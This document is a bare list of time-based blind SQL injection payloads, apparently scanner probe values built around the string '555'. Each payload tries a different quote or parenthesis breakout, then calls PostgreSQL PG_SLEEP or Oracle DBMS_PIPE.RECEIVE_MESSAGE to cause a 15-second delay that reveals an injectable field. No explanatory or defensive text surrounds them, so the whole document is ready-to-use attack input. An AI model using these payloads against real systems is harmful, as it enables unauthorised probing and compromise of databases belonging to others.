555-1 OR 863=(SELECT 863 FROM PG_SLEEP(15))--

555-1) OR 24=(SELECT 24 FROM PG_SLEEP(15))--

555-1)) OR 379=(SELECT 379 FROM PG_SLEEP(15))--

555P9sEuYFz' OR 459=(SELECT 459 FROM PG_SLEEP(15))--

555Gjy8W2Xj') OR 651=(SELECT 651 FROM PG_SLEEP(15))--

555ZCiKN6nQ')) OR 340=(SELECT 340 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555